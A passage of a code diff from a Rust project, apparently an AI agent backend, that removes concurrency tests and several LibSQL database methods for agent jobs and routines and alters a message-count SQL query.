|
||||||
let _summary = mgr.summary().await;
|
|
||||||
})
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
// Wait for all writers.
|
|
||||||
let mut ids = Vec::new();
|
|
||||||
for handle in writer_handles {
|
|
||||||
let result = handle.await.expect("writer should not panic");
|
|
||||||
ids.push(result.expect("create should succeed"));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wait for all readers.
|
|
||||||
for handle in reader_handles {
|
|
||||||
handle.await.expect("reader should not panic");
|
|
||||||
}
|
|
||||||
|
|
||||||
// All 20 jobs created with unique IDs.
|
|
||||||
let unique: std::collections::HashSet<_> = ids.iter().collect();
|
|
||||||
assert_eq!(unique.len(), 20);
|
|
||||||
|
|
||||||
// Each user has 4 jobs (20 jobs / 5 users).
|
|
||||||
for u in 0..5 {
|
|
||||||
let user_jobs = manager.all_jobs_for(&format!("user-{u}")).await;
|
|
||||||
assert_eq!(user_jobs.len(), 4, "user-{u} should have 4 jobs");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_updates_do_not_lose_state() {
|
|
||||||
let manager = std::sync::Arc::new(ContextManager::new(100));
|
|
||||||
|
|
||||||
// Create 10 jobs.
|
|
||||||
let mut job_ids = Vec::new();
|
|
||||||
for i in 0..10 {
|
|
||||||
let id = manager
|
|
||||||
.create_job(format!("Job {i}"), "desc")
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
job_ids.push(id);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Concurrently transition all to InProgress.
|
|
||||||
let handles: Vec<_> = job_ids
|
|
||||||
.iter()
|
|
||||||
.map(|&id| {
|
|
||||||
let mgr = std::sync::Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move {
|
|
||||||
mgr.update_context(id, |ctx| {
|
|
||||||
ctx.transition_to(crate::context::JobState::InProgress, None)
|
|
||||||
})
|
|
||||||
.await
|
|
||||||
})
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
for handle in handles {
|
|
||||||
let result = handle.await.expect("task should not panic");
|
|
||||||
result
|
|
||||||
.expect("update should succeed")
|
|
||||||
.expect("transition should succeed");
|
|
||||||
}
|
|
||||||
|
|
||||||
// All 10 should now be InProgress.
|
|
||||||
let active = manager.active_jobs().await;
|
|
||||||
assert_eq!(active.len(), 10);
|
|
||||||
for id in &job_ids {
|
|
||||||
let ctx = manager.get_context(*id).await.unwrap();
|
|
||||||
assert_eq!(ctx.state, crate::context::JobState::InProgress);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ impl ConversationStore for LibSqlBackend {
|
|||||||
c.started_at,
|
c.started_at,
|
||||||
c.last_activity,
|
c.last_activity,
|
||||||
c.metadata,
|
c.metadata,
|
||||||
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id AND m.role = 'user') AS message_count,
|
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id) AS message_count,
|
||||||
(SELECT substr(m2.content, 1, 100)
|
(SELECT substr(m2.content, 1, 100)
|
||||||
FROM conversation_messages m2
|
FROM conversation_messages m2
|
||||||
WHERE m2.conversation_id = c.id AND m2.role = 'user'
|
WHERE m2.conversation_id = c.id AND m2.role = 'user'
|
||||||
|
|||||||
+1
-88
@@ -12,7 +12,7 @@ use super::{
|
|||||||
use crate::context::{ActionRecord, JobContext, JobState};
|
use crate::context::{ActionRecord, JobContext, JobState};
|
||||||
use crate::db::JobStore;
|
use crate::db::JobStore;
|
||||||
use crate::error::DatabaseError;
|
use crate::error::DatabaseError;
|
||||||
use crate::history::{AgentJobRecord, AgentJobSummary, LlmCallRecord};
|
use crate::history::LlmCallRecord;
|
||||||
|
|
||||||
use chrono::Utc;
|
use chrono::Utc;
|
||||||
|
|
||||||
@@ -173,93 +173,6 @@ impl JobStore for LibSqlBackend {
|
|||||||
Ok(ids)
|
Ok(ids)
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
|
|
||||||
let conn = self.connect().await?;
|
|
||||||
let mut rows = conn
|
|
||||||
.query(
|
|
||||||
r#"
|
|
||||||
SELECT id, title, status, user_id, failure_reason,
|
|
||||||
created_at, started_at, completed_at
|
|
||||||
FROM agent_jobs WHERE source = 'direct'
|
|
||||||
ORDER BY created_at DESC
|
|
||||||
"#,
|
|
||||||
(),
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
|
||||||
|
|
||||||
let mut jobs = Vec::new();
|
|
||||||
while let Some(row) = rows
|
|
||||||
.next()
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
|
||||||
{
|
|
||||||
let id_str = get_text(&row, 0);
|
|
||||||
let Ok(id) = id_str.parse() else {
|
|
||||||
tracing::warn!("Skipping agent job with invalid UUID: {}", id_str);
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
jobs.push(AgentJobRecord {
|
|
||||||
id,
|
|
||||||
title: get_text(&row, 1),
|
|
||||||
status: get_text(&row, 2),
|
|
||||||
user_id: get_text(&row, 3),
|
|
||||||
failure_reason: get_opt_text(&row, 4),
|
|
||||||
created_at: get_ts(&row, 5),
|
|
||||||
started_at: get_opt_ts(&row, 6),
|
|
||||||
completed_at: get_opt_ts(&row, 7),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
Ok(jobs)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn get_agent_job_failure_reason(
|
|
||||||
&self,
|
|
||||||
id: Uuid,
|
|
||||||
) -> Result<Option<String>, DatabaseError> {
|
|
||||||
let conn = self.connect().await?;
|
|
||||||
let mut rows = conn
|
|
||||||
.query(
|
|
||||||
"SELECT failure_reason FROM agent_jobs WHERE id = ?1",
|
|
||||||
[id.to_string()],
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
|
||||||
|
|
||||||
if let Some(row) = rows
|
|
||||||
.next()
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
|
||||||
{
|
|
||||||
Ok(get_opt_text(&row, 0))
|
|
||||||
} else {
|
|
||||||
Ok(None)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
|
|
||||||
let conn = self.connect().await?;
|
|
||||||
let mut rows = conn
|
|
||||||
.query(
|
|
||||||
"SELECT status, COUNT(*) as cnt FROM agent_jobs WHERE source = 'direct' GROUP BY status",
|
|
||||||
(),
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
|
||||||
|
|
||||||
let mut summary = AgentJobSummary::default();
|
|
||||||
while let Some(row) = rows
|
|
||||||
.next()
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
|
||||||
{
|
|
||||||
let status = get_text(&row, 0);
|
|
||||||
let count = get_i64(&row, 1) as usize;
|
|
||||||
summary.add_count(&status, count);
|
|
||||||
}
|
|
||||||
Ok(summary)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
|
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
|
||||||
let conn = self.connect().await?;
|
let conn = self.connect().await?;
|
||||||
let duration_ms = action.duration.as_millis() as i64;
|
let duration_ms = action.duration.as_millis() as i64;
|
||||||
|
|||||||
@@ -141,27 +141,6 @@ impl RoutineStore for LibSqlBackend {
|
|||||||
Ok(routines)
|
Ok(routines)
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
|
|
||||||
let conn = self.connect().await?;
|
|
||||||
let mut rows = conn
|
|
||||||
.query(
|
|
||||||
&format!("SELECT {} FROM routines ORDER BY name", ROUTINE_COLUMNS),
|
|
||||||
(),
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
|
||||||
|
|
||||||
let mut routines = Vec::new();
|
|
||||||
while let Some(row) = rows
|
|
||||||
.next()
|
|
||||||
.await
|
|
||||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
|
||||||
{
|
|
||||||
routines.push(row_to_routine_libsql(&row)?);
|
|
||||||
}
|
|
||||||
Ok(routines)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
|
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
|
||||||
let conn = self.connect().await?;
|
let conn = self.connect().await?;
|
||||||
let mut rows = conn
|
let mut rows = conn
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user